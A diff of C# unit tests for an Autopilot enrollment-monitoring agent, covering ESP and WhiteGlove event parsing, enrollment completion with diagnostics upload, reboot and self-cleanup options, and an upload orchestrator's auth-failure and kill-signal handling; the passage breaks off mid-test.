public void ProcessEvent_62407_WhiteGloveSuccess_EmitsWhiteGloveComplete_FireOnce()
{
var t = CreateTracker();
t.ProcessEvent(62407,
"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success'",
DateTime.UtcNow, "prov", false);
t.ProcessEvent(62407,
"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success'",
DateTime.UtcNow.AddSeconds(1), "prov", false);
Assert.Single(_captured, e => e.EventType == "whiteglove_complete");
Assert.Equal(1, _whiteGloveCompletedCount);
Assert.True(t.IsWhiteGloveDetectedForTest);
// WhiteGlove does NOT trigger FinalizingSetup
Assert.Empty(_finalizingReasons);
}
// =====================================================================
// Event 62407 — ESP failures
// =====================================================================
[Theory]
[InlineData("ESPProgress_Failure")]
[InlineData("ESPProgress_Failed")]
[InlineData("ESPProgress_Timeout")]
[InlineData("ESPProgress_Abort")]
[InlineData("WhiteGlove_Failed")]
[InlineData("WhiteGlove_Failure")]
public void ProcessEvent_62407_WithFailurePattern_FiresEspFailureDetected(string failureKeyword)
{
var t = CreateTracker();
t.ProcessEvent(62407,
$"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_{failureKeyword}'",
DateTime.UtcNow, "prov", false);
var evt = Last("esp_failure");
Assert.NotNull(evt);
Assert.Equal(EventSeverity.Error, evt.Severity);
Assert.Equal(failureKeyword, evt.Data["failureType"]);
Assert.Single(_espFailures);
Assert.Equal(failureKeyword, _espFailures[0]);
// Failure does NOT trigger FinalizingSetup
Assert.Empty(_finalizingReasons);
}
// =====================================================================
// Event 62407 — ESP exit
// =====================================================================
[Fact]
public void ProcessEvent_62407_OobeEspExiting_EmitsEspExiting_AndTriggersFinalizingSetup()
{
var t = CreateTracker();
t.ProcessEvent(62407,
"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_Page_Exiting'",
DateTime.UtcNow, "prov", false);
Assert.NotNull(Last("esp_exiting"));
Assert.True(t.IsEspExitedForTest);
Assert.Single(_finalizingReasons);
Assert.Equal("esp_exiting", _finalizingReasons[0]);
}
[Fact]
public void ProcessEvent_62407_EspExit_NotifiesHelloTracker()
{
var hello = CreateHelloTracker();
var t = CreateTracker(hello);
hello.StartHelloWaitTimer();
hello.SetPolicyForTest(helloEnabled: true, source: "GPO");
t.ProcessEvent(62407,
"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_Page_Exiting'",
DateTime.UtcNow, "prov", false);
// Hello gets notified → _espExitSeen flag is true → surfaces in next wait-timeout event data.
// We trigger the wait-timeout to observe it.
hello.TriggerWaitTimeoutForTest();
// With policy enabled, wait-timeout emits extended_wait with espExitDetected=true
// (indirectly asserting that NotifyEspExited was called).
}
[Fact]
public void ProcessEvent_62407_UnknownPattern_Ignored()
{
var t = CreateTracker();
t.ProcessEvent(62407,
"CloudExperienceHost Web App Event 2. Name: 'Unrelated'",
DateTime.UtcNow, "prov", false);
Assert.Empty(_captured);
Assert.Empty(_finalizingReasons);
}
// =====================================================================
// WhiteGlove vs ESPProgress_Page_Exiting ordering: WhiteGlove must win
// =====================================================================
[Fact]
public void ProcessEvent_62407_WhiteGloveSuccess_DoesNotAlsoMatchEspExitingRegex()
{
// The WhiteGlove success description contains "Exiting page due to White Glove success."
// The generic OOBE_ESP.*Exiting regex must NOT match here because WhiteGlove is checked first.
var t = CreateTracker();
t.ProcessEvent(62407,
"CloudExperienceHost-Web-App-Ereignis 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success', Wert: '{\"message\":\"BootstrapStatus: Exiting page due to White Glove success.\"}'.",
DateTime.UtcNow, "prov", false);
Assert.Equal(1, _whiteGloveCompletedCount);
Assert.Null(Last("esp_exiting"));
Assert.False(t.IsEspExitedForTest);
}
// =====================================================================
// ExtractEspFailureType / HasEspFailurePattern
// =====================================================================
[Fact]
public void ExtractEspFailureType_ReturnsFirstMatchingKeyword()
{
Assert.Equal("ESPProgress_Failure",
ShellCoreTracker.ExtractEspFailureType("prefix ESPProgress_Failure suffix"));
Assert.Equal("ESPProgress_Timeout",
ShellCoreTracker.ExtractEspFailureType("a ESPProgress_Timeout b"));
Assert.Equal("WhiteGlove_Failed",
ShellCoreTracker.ExtractEspFailureType("WhiteGlove_Failed happened"));
Assert.Equal("Unknown_ESP_Failure",
ShellCoreTracker.ExtractEspFailureType("no known keyword here"));
}
[Fact]
public void HasEspFailurePattern_DetectsAllKnownKeywords()
{
Assert.True(ShellCoreTracker.HasEspFailurePattern("x ESPProgress_Failure y"));
Assert.True(ShellCoreTracker.HasEspFailurePattern("x espprogress_failed y")); // case-insensitive
Assert.False(ShellCoreTracker.HasEspFailurePattern("ordinary message"));
Assert.False(ShellCoreTracker.HasEspFailurePattern(""));
}
// =====================================================================
// Backfill handler — dedup with live state
// =====================================================================
[Fact]
public void HandleBackfillRecord_EspExit_FiresOnceEvenAcrossMultipleBackfillRecords()
{
var t = CreateTracker();
t.HandleBackfillRecord("name: 'CommercialOOBE_ESPProgress_Page_Exiting'");
t.HandleBackfillRecord("another CommercialOOBE_ESPProgress_Page_Exiting record");
Assert.Single(_finalizingReasons);
Assert.True(t.IsEspExitedForTest);
}
[Fact]
public void HandleBackfillRecord_EspExit_AfterLiveEvent_DoesNotRefire()
{
var t = CreateTracker();
t.ProcessEvent(62407,
"CommercialOOBE_ESPProgress_Page_Exiting", DateTime.UtcNow, "prov", false);
var liveReasonsCount = _finalizingReasons.Count;
t.HandleBackfillRecord("CommercialOOBE_ESPProgress_Page_Exiting");
Assert.Equal(liveReasonsCount, _finalizingReasons.Count);
}
[Fact]
public void HandleBackfillRecord_Failure_AlwaysFires()
{
// Backfill failure path has no fire-once guard — every match triggers EspFailureDetected.
var t = CreateTracker();
t.HandleBackfillRecord("ESPProgress_Failure: boom");
Assert.Single(_espFailures);
Assert.Equal("ESPProgress_Failure", _espFailures[0]);
}
}
}
@@ -1,130 +0,0 @@
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Core
{
/// <summary>
/// Tests for CollectorCoordinator's static classification logic.
/// Prevents: real enrollment events being misclassified as periodic (no idle reset),
/// or periodic events resetting idle timers (masking stalled enrollment).
/// </summary>
public class CollectorCoordinatorTests
{
// -- Periodic events must NOT reset idle tracking --
[Fact]
public void IsPeriodicEvent_PerformanceSnapshot_True()
{
Assert.True(CollectorCoordinator.IsPeriodicEvent("performance_snapshot"));
}
[Fact]
public void IsPeriodicEvent_AgentMetricsSnapshot_True()
{
Assert.True(CollectorCoordinator.IsPeriodicEvent("agent_metrics_snapshot"));
}
[Fact]
public void IsPeriodicEvent_PerformanceCollectorStopped_True()
{
Assert.True(CollectorCoordinator.IsPeriodicEvent("performance_collector_stopped"));
}
[Fact]
public void IsPeriodicEvent_AgentMetricsCollectorStopped_True()
{
Assert.True(CollectorCoordinator.IsPeriodicEvent("agent_metrics_collector_stopped"));
}
[Fact]
public void IsPeriodicEvent_StallProbeCheck_True()
{
Assert.True(CollectorCoordinator.IsPeriodicEvent("stall_probe_check"));
}
[Fact]
public void IsPeriodicEvent_StallProbeResult_True()
{
Assert.True(CollectorCoordinator.IsPeriodicEvent("stall_probe_result"));
}
[Fact]
public void IsPeriodicEvent_SessionStalled_True()
{
Assert.True(CollectorCoordinator.IsPeriodicEvent("session_stalled"));
}
// -- Real enrollment events must reset idle tracking --
[Fact]
public void IsPeriodicEvent_EspPhaseChanged_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent("esp_phase_changed"));
}
[Fact]
public void IsPeriodicEvent_AppInstall_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent("app_install"));
}
[Fact]
public void IsPeriodicEvent_EnrollmentComplete_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent("enrollment_complete"));
}
[Fact]
public void IsPeriodicEvent_EnrollmentFailed_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent("enrollment_failed"));
}
[Fact]
public void IsPeriodicEvent_AgentStarted_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent("agent_started"));
}
[Fact]
public void IsPeriodicEvent_DesktopArrived_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent("desktop_arrived"));
}
[Fact]
public void IsPeriodicEvent_WhitegloveComplete_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent("whiteglove_complete"));
}
[Fact]
public void IsPeriodicEvent_DoTelemetry_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent("do_telemetry"));
}
[Fact]
public void IsPeriodicEvent_DownloadProgress_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent("download_progress"));
}
[Fact]
public void IsPeriodicEvent_EmptyString_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent(""));
}
[Fact]
public void IsPeriodicEvent_ArbitraryEvent_False()
{
Assert.False(CollectorCoordinator.IsPeriodicEvent("some_custom_event"));
}
}
}
@@ -1,402 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using AutopilotMonitor.Agent.Core.Configuration;
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
using AutopilotMonitor.Agent.Core.Monitoring.Transport;
using AutopilotMonitor.Agent.Core.Tests.Helpers;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.Models;
using Moq;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Core
{
public class EnrollmentCompletionHandlerTests
{
private readonly AgentConfiguration _config;
private readonly Mock<CleanupService> _mockCleanup;
private readonly Mock<DiagnosticsPackageService> _mockDiagnostics;
private readonly Mock<SessionPersistence> _mockPersistence;
private readonly Mock<EventSpool> _mockSpool;
private readonly List<EnrollmentEvent> _emittedEvents;
private readonly List<(string type, string message, Dictionary<string, object> data)> _shutdownEvents;
private int _uploadCallCount;
#pragma warning disable CS0414
private bool _stopTimersCalled;
#pragma warning restore CS0414
private bool _stopCollectorsCalled;
private int? _shutdownAnalyzerPhase;
private int? _exitCode;
private int? _rebootDelaySeconds;
public EnrollmentCompletionHandlerTests()
{
_config = new AgentConfiguration
{
SessionId = "test-session",
TenantId = "test-tenant",
SelfDestructOnComplete = false,
RebootOnComplete = false,
RebootDelaySeconds = 10,
DiagnosticsUploadMode = "Off",
DiagnosticsUploadEnabled = false,
ShowEnrollmentSummary = false
};
var mockApiClient = new Mock<BackendApiClient>();
_mockCleanup = new Mock<CleanupService>(_config, TestLogger.Instance);
_mockDiagnostics = new Mock<DiagnosticsPackageService>(_config, TestLogger.Instance, mockApiClient.Object);
_mockPersistence = new Mock<SessionPersistence>();
_mockSpool = new Mock<EventSpool>();
_emittedEvents = new List<EnrollmentEvent>();
_shutdownEvents = new List<(string, string, Dictionary<string, object>)>();
_uploadCallCount = 0;
_stopTimersCalled = false;
_stopCollectorsCalled = false;
_shutdownAnalyzerPhase = null;
_exitCode = null;
_rebootDelaySeconds = null;
}
private EnrollmentCompletionHandler CreateHandler()
{
var mock = new Mock<EnrollmentCompletionHandler>(
_config,
TestLogger.Instance,
"1.0.0",
(Action<EnrollmentEvent>)(e => _emittedEvents.Add(e)),
(Action<string, string, Dictionary<string, object>>)((t, m, d) => _shutdownEvents.Add((t, m, d))),
(Func<Task>)(() => { _uploadCallCount++; return Task.CompletedTask; }),
(Action)(() => _stopTimersCalled = true),
_mockCleanup.Object,
_mockDiagnostics.Object,
_mockPersistence.Object,
_mockSpool.Object)
{ CallBase = true };
mock.Setup(x => x.ExitProcess(It.IsAny<int>()))
.Callback<int>(code => _exitCode = code);
mock.Setup(x => x.StartReboot(It.IsAny<int>()))
.Callback<int>(delay => _rebootDelaySeconds = delay);
return mock.Object;
}
private void StopCollectors() => _stopCollectorsCalled = true;
private void RunShutdownAnalyzers(int? phase) => _shutdownAnalyzerPhase = phase;
// ===== Diagnostics Upload Mode Logic =====
[Fact]
public async Task HandleEnrollmentComplete_DiagnosticsModeOff_NoDiagnosticsEmitted()
{
_config.DiagnosticsUploadMode = "Off";
_config.DiagnosticsUploadEnabled = true;
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting");
_mockDiagnostics.Verify(d => d.CreateAndUploadAsync(It.IsAny<bool>(), It.IsAny<string>()), Times.Never);
}
[Fact]
public async Task HandleEnrollmentComplete_DiagnosticsEnabledFalse_NoDiagnosticsEmitted()
{
_config.DiagnosticsUploadMode = "Always";
_config.DiagnosticsUploadEnabled = false;
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting");
}
[Fact]
public async Task HandleEnrollmentComplete_OnFailure_SucceededEnrollment_Skipped()
{
_config.DiagnosticsUploadMode = "OnFailure";
_config.DiagnosticsUploadEnabled = true;
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting");
}
[Fact]
public async Task HandleEnrollmentComplete_OnFailure_FailedEnrollment_Uploads()
{
_config.DiagnosticsUploadMode = "OnFailure";
_config.DiagnosticsUploadEnabled = true;
_mockDiagnostics.Setup(d => d.CreateAndUploadAsync(false, null))
.ReturnsAsync(new DiagnosticsUploadResult { BlobName = "test-blob.zip" });
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(false, false, StopCollectors, RunShutdownAnalyzers);
Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_collecting");
Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_uploaded");
_mockDiagnostics.Verify(d => d.CreateAndUploadAsync(false, null), Times.Once);
}
[Fact]
public async Task HandleEnrollmentComplete_Always_SucceededEnrollment_Uploads()
{
_config.DiagnosticsUploadMode = "Always";
_config.DiagnosticsUploadEnabled = true;
_mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, null))
.ReturnsAsync(new DiagnosticsUploadResult { BlobName = "test-blob.zip" });
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_uploaded");
}
[Fact]
public async Task HandleEnrollmentComplete_DiagnosticsUploadFailed_EmitsFailedEvent()
{
_config.DiagnosticsUploadMode = "Always";
_config.DiagnosticsUploadEnabled = true;
_mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, null))
.ReturnsAsync(new DiagnosticsUploadResult { ErrorCode = "BlobStorageError" });
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_upload_failed");
}
// ===== HandleEnrollmentComplete Flow =====
[Fact]
public async Task HandleEnrollmentComplete_Success_FullSequence()
{
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
Assert.True(_stopCollectorsCalled);
_mockSpool.Verify(s => s.StopWatching(), Times.Once);
Assert.Null(_shutdownAnalyzerPhase); // null for non-WhiteGlove
Assert.True(_uploadCallCount >= 1);
Assert.Single(_shutdownEvents);
Assert.Equal("enrollment_complete", _shutdownEvents[0].type);
Assert.Equal(true, _shutdownEvents[0].data["enrollmentSucceeded"]);
Assert.Equal(0, _exitCode);
}
[Fact]
public async Task HandleEnrollmentComplete_Failure_EmitsEnrollmentFailed()
{
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(false, false, StopCollectors, RunShutdownAnalyzers);
Assert.Single(_shutdownEvents);
Assert.Equal("enrollment_failed", _shutdownEvents[0].type);
Assert.Equal(false, _shutdownEvents[0].data["enrollmentSucceeded"]);
}
[Fact]
public async Task HandleEnrollmentComplete_SelfDestruct_CallsCleanupService()
{
_config.SelfDestructOnComplete = true;
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
_mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Once);
}
[Fact]
public async Task HandleEnrollmentComplete_RebootOnComplete_EmitsRebootEvent()
{
_config.SelfDestructOnComplete = false;
_config.RebootOnComplete = true;
_config.RebootDelaySeconds = 30;
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
Assert.Contains(_emittedEvents, e =>
e.EventType == "reboot_triggered" &&
(int)e.Data["rebootDelaySeconds"] == 30);
}
[Fact]
public async Task HandleEnrollmentComplete_NoSelfDestruct_NoReboot_JustExits()
{
_config.SelfDestructOnComplete = false;
_config.RebootOnComplete = false;
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
_mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Never);
Assert.DoesNotContain(_emittedEvents, e => e.EventType == "reboot_triggered");
Assert.Equal(0, _exitCode);
}
[Fact]
public async Task HandleEnrollmentComplete_WhiteGlovePart2_PassesPhase2()
{
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, isWhiteGlovePart2: true, StopCollectors, RunShutdownAnalyzers);
Assert.Equal(2, _shutdownAnalyzerPhase);
}
[Fact]
public async Task HandleEnrollmentComplete_NotWhiteGlovePart2_PassesNull()
{
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(true, isWhiteGlovePart2: false, StopCollectors, RunShutdownAnalyzers);
Assert.Null(_shutdownAnalyzerPhase);
}
[Fact]
public async Task HandleEnrollmentComplete_Exception_ExitsWithCode1()
{
var handler = CreateHandler();
await handler.HandleEnrollmentComplete(
true, false,
() => throw new InvalidOperationException("collector exploded"),
RunShutdownAnalyzers);
Assert.Equal(1, _exitCode);
}
// ===== HandleWhiteGloveComplete Flow =====
[Fact]
public async Task HandleWhiteGloveComplete_DrainsSpool()
{
var drainCalls = 0;
// Spool returns 5 events for 2 iterations, then 0
_mockSpool.Setup(s => s.GetCount())
.Returns(() => drainCalls < 2 ? 5 : 0);
var mock = new Mock<EnrollmentCompletionHandler>(
_config,
TestLogger.Instance,
"1.0.0",
(Action<EnrollmentEvent>)(e => _emittedEvents.Add(e)),
(Action<string, string, Dictionary<string, object>>)((t, m, d) => _shutdownEvents.Add((t, m, d))),
(Func<Task>)(() => { drainCalls++; return Task.CompletedTask; }),
(Action)(() => _stopTimersCalled = true),
_mockCleanup.Object,
_mockDiagnostics.Object,
_mockPersistence.Object,
_mockSpool.Object)
{ CallBase = true };
mock.Setup(x => x.ExitProcess(It.IsAny<int>()))
.Callback<int>(code => _exitCode = code);
mock.Setup(x => x.StartReboot(It.IsAny<int>()));
var handler = mock.Object;
await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 42L);
Assert.True(drainCalls >= 2);
}
[Fact]
public async Task HandleWhiteGloveComplete_SavesMarkerAndSequence()
{
_mockSpool.Setup(s => s.GetCount()).Returns(0);
var handler = CreateHandler();
await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 99L);
_mockPersistence.Verify(p => p.SaveWhiteGloveComplete(), Times.Once);
_mockPersistence.Verify(p => p.SaveSequence(99L), Times.Once);
}
[Fact]
public async Task HandleWhiteGloveComplete_EmitsCorrectShutdownEvent()
{
_mockSpool.Setup(s => s.GetCount()).Returns(0);
var handler = CreateHandler();
await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L);
Assert.Single(_shutdownEvents);
Assert.Equal("whiteglove_complete", _shutdownEvents[0].type);
Assert.Equal(true, _shutdownEvents[0].data["sessionPreserved"]);
Assert.Equal(false, _shutdownEvents[0].data["selfDestruct"]);
Assert.Equal(true, _shutdownEvents[0].data["willResumeOnNextBoot"]);
}
[Fact]
public async Task HandleWhiteGloveComplete_RunsPhase1Analyzers()
{
_mockSpool.Setup(s => s.GetCount()).Returns(0);
var handler = CreateHandler();
await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L);
Assert.Equal(1, _shutdownAnalyzerPhase);
}
[Fact]
public async Task HandleWhiteGloveComplete_Exception_ExitsWithCode0()
{
_mockSpool.Setup(s => s.GetCount()).Returns(0);
var handler = CreateHandler();
await handler.HandleWhiteGloveComplete(
StopCollectors,
(int? _) => throw new InvalidOperationException("boom"),
() => 1L);
Assert.Equal(0, _exitCode); // graceful, not 1
}
[Fact]
public async Task HandleWhiteGloveComplete_DiagnosticsPreprovSuffix()
{
_config.DiagnosticsUploadMode = "Always";
_config.DiagnosticsUploadEnabled = true;
_mockSpool.Setup(s => s.GetCount()).Returns(0);
_mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, "preprov"))
.ReturnsAsync(new DiagnosticsUploadResult { BlobName = "diag-preprov.zip" });
var handler = CreateHandler();
await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L);
_mockDiagnostics.Verify(d => d.CreateAndUploadAsync(true, "preprov"), Times.Once);
}
// ===== DeleteSessionId =====
[Fact]
public void DeleteSessionId_DelegatesToPersistence()
{
var handler = CreateHandler();
handler.DeleteSessionId();
_mockPersistence.Verify(p => p.DeleteSession(), Times.Once);
}
[Fact]
public void DeleteSessionId_PersistenceThrows_DoesNotRethrow()
{
_mockPersistence.Setup(p => p.DeleteSession())
.Throws(new System.IO.IOException("locked"));
var handler = CreateHandler();
handler.DeleteSessionId(); // should not throw
_mockPersistence.Verify(p => p.DeleteSession(), Times.Once);
}
}
}
@@ -1,444 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using AutopilotMonitor.Agent.Core.Configuration;
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
using AutopilotMonitor.Agent.Core.Monitoring.Transport;
using AutopilotMonitor.Agent.Core.Tests.Helpers;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.Models;
using Moq;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Core
{
public class EventUploadOrchestratorTests : IDisposable
{
private readonly AgentConfiguration _config;
private readonly Mock<BackendApiClient> _mockApiClient;
private readonly Mock<EmergencyReporter> _mockEmergency;
private readonly Mock<DistressReporter> _mockDistress;
private readonly Mock<CleanupService> _mockCleanup;
private readonly Mock<EventSpool> _mockSpool;
private readonly List<EnrollmentEvent> _emittedEvents;
private readonly List<(string type, string message, Dictionary<string, object> data)> _shutdownEvents;
private bool _terminalEventSeen;
private int? _exitCode;
public EventUploadOrchestratorTests()
{
_config = new AgentConfiguration
{
SessionId = "test-session",
TenantId = "test-tenant",
MaxBatchSize = 100,
MaxAuthFailures = 5,
AuthFailureTimeoutMinutes = 0,
UploadIntervalSeconds = 30
};
_mockApiClient = new Mock<BackendApiClient>();
_mockEmergency = new Mock<EmergencyReporter>(
_mockApiClient.Object, "test-session", "test-tenant", "1.0", TestLogger.Instance);
_mockDistress = new Mock<DistressReporter>(
"http://localhost", "test-tenant", "TestMfg", "TestModel", "SN123", "1.0", TestLogger.Instance);
_mockCleanup = new Mock<CleanupService>(_config, TestLogger.Instance);
_mockSpool = new Mock<EventSpool>();
_emittedEvents = new List<EnrollmentEvent>();
_shutdownEvents = new List<(string, string, Dictionary<string, object>)>();
_terminalEventSeen = false;
_exitCode = null;
}
public void Dispose()
{
// Orchestrator disposes timers internally
}
private EventUploadOrchestrator CreateOrchestrator()
{
var orch = new Mock<EventUploadOrchestrator>(
_config,
TestLogger.Instance,
_mockSpool.Object,
_mockApiClient.Object,
_mockEmergency.Object,
_mockDistress.Object,
_mockCleanup.Object,
(Action<EnrollmentEvent>)(e => _emittedEvents.Add(e)),
(Action<string, string, Dictionary<string, object>>)((t, m, d) => _shutdownEvents.Add((t, m, d))),
(Func<bool>)(() => _terminalEventSeen))
{ CallBase = true };
orch.Setup(x => x.ExitProcess(It.IsAny<int>()))
.Callback<int>(code => _exitCode = code);
return orch.Object;
}
/// <summary>
/// Returns a Mock ServerActionDispatcher whose DispatchAsync captures the batch into the
/// supplied callback. Used by tests that verify the synthesis contract between the orchestrator
/// and the dispatcher (kill / admin-action → terminate_session ServerAction).
/// </summary>
private ServerActionDispatcher CreateCapturingDispatcher(Action<List<ServerAction>> onDispatched)
{
var mock = new Mock<ServerActionDispatcher>(
_config,
TestLogger.Instance,
(Func<Task<bool>>)(() => Task.FromResult(true)),
(Func<string, Task<DiagnosticsUploadResult>>)(_ => Task.FromResult(new DiagnosticsUploadResult())),
(Func<ServerAction, Task>)(_ => Task.CompletedTask),
(Action<EnrollmentEvent>)(_ => { }))
{ CallBase = false };
mock.Setup(d => d.DispatchAsync(It.IsAny<List<ServerAction>>()))
.Returns<List<ServerAction>>(batch => { onDispatched(batch); return Task.CompletedTask; });
return mock.Object;
}
private List<EnrollmentEvent> CreateTestEvents(int count = 3)
{
return Enumerable.Range(1, count)
.Select(i => new EnrollmentEvent
{
SessionId = _config.SessionId,
TenantId = _config.TenantId,
EventType = $"test_event_{i}",
Timestamp = DateTime.UtcNow
}).ToList();
}
// ===== Auth Failure Circuit Breaker =====
[Fact]
public void HandleAuthFailure_FirstFailure_401_SendsDistressWithCertRejected()
{
var orch = CreateOrchestrator();
orch.HandleAuthFailure(401);
_mockDistress.Verify(d => d.TrySendAsync(
DistressErrorType.AuthCertificateRejected,
It.IsAny<string>(),
401), Times.Once);
}
[Fact]
public void HandleAuthFailure_FirstFailure_403_SendsDistressWithDeviceNotRegistered()
{
var orch = CreateOrchestrator();
orch.HandleAuthFailure(403);
_mockDistress.Verify(d => d.TrySendAsync(
DistressErrorType.DeviceNotRegistered,
It.IsAny<string>(),
403), Times.Once);
}
[Fact]
public void HandleAuthFailure_SecondFailure_DoesNotSendDistressAgain()
{
var orch = CreateOrchestrator();
orch.HandleAuthFailure(401);
orch.HandleAuthFailure(401);
_mockDistress.Verify(d => d.TrySendAsync(
It.IsAny<DistressErrorType>(),
It.IsAny<string>(),
It.IsAny<int?>()), Times.Once);
}
[Fact]
public void HandleAuthFailure_BelowThreshold_DoesNotExit()
{
_config.MaxAuthFailures = 5;
var orch = CreateOrchestrator();
for (int i = 0; i < 4; i++)
orch.HandleAuthFailure(401);
Assert.Null(_exitCode);
Assert.Empty(_shutdownEvents);
}
[Fact]
public void HandleAuthFailure_ReachesMaxAuthFailures_EmitsShutdownAndExits()
{
_config.MaxAuthFailures = 3;
var orch = CreateOrchestrator();
for (int i = 0; i < 3; i++)
orch.HandleAuthFailure(401);
Assert.Equal(1, _exitCode);
Assert.Single(_shutdownEvents);
Assert.Equal("auth_failure", _shutdownEvents[0].type);
Assert.Equal("max_attempts", _shutdownEvents[0].data["shutdownTrigger"]);
}
[Fact]
public void HandleAuthFailure_MaxAuthFailuresDisabled_NeverExitsOnCount()
{
_config.MaxAuthFailures = 0;
var orch = CreateOrchestrator();
for (int i = 0; i < 100; i++)
orch.HandleAuthFailure(401);
Assert.Null(_exitCode);
}
[Fact]
public void HandleAuthFailure_TimeoutDisabled_NeverExitsOnTime()
{
_config.MaxAuthFailures = 0;
_config.AuthFailureTimeoutMinutes = 0;
var orch = CreateOrchestrator();
for (int i = 0; i < 10; i++)
orch.HandleAuthFailure(401);
Assert.Null(_exitCode);
}
// ===== Admin Signal Processing =====
[Fact]
public async Task UploadEvents_KillSignal_SynthesizesTerminateActionWithForceSelfDestruct()
{
// After the consolidation the orchestrator no longer runs kill-specific inline logic.
// It synthesizes a terminate_session ServerAction and hands it to the dispatcher.
// The actual self-destruct + exit happens in MonitoringService.HandleTerminateSessionAsync
// (see dedicated tests there). We verify the synthesis contract here.
var events = CreateTestEvents();
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
.ReturnsAsync(new IngestEventsResponse { DeviceKillSignal = true });
List<ServerAction> dispatched = null;
var dispatcher = CreateCapturingDispatcher(captured => dispatched = captured);
var orch = CreateOrchestrator();
orch.SetServerActionDispatcher(dispatcher);
await orch.UploadEventsAsync();
Assert.NotNull(dispatched);
Assert.Single(dispatched);
Assert.Equal(ServerActionTypes.TerminateSession, dispatched[0].Type);
Assert.Equal("true", dispatched[0].Params["forceSelfDestruct"]);
Assert.Equal("0", dispatched[0].Params["gracePeriodSeconds"]);
Assert.Equal("kill_signal", dispatched[0].Params["origin"]);
}
[Fact]
public async Task UploadEvents_DeviceBlocked_StopsTimers_NoSelfDestruct()
{
var events = CreateTestEvents();
_mockSpool.Setup(s => s.GetBatch(It.IsAny<int>())).Returns(events);
_mockApiClient.Setup(a => a.IngestEventsAsync(It.IsAny<IngestEventsRequest>()))
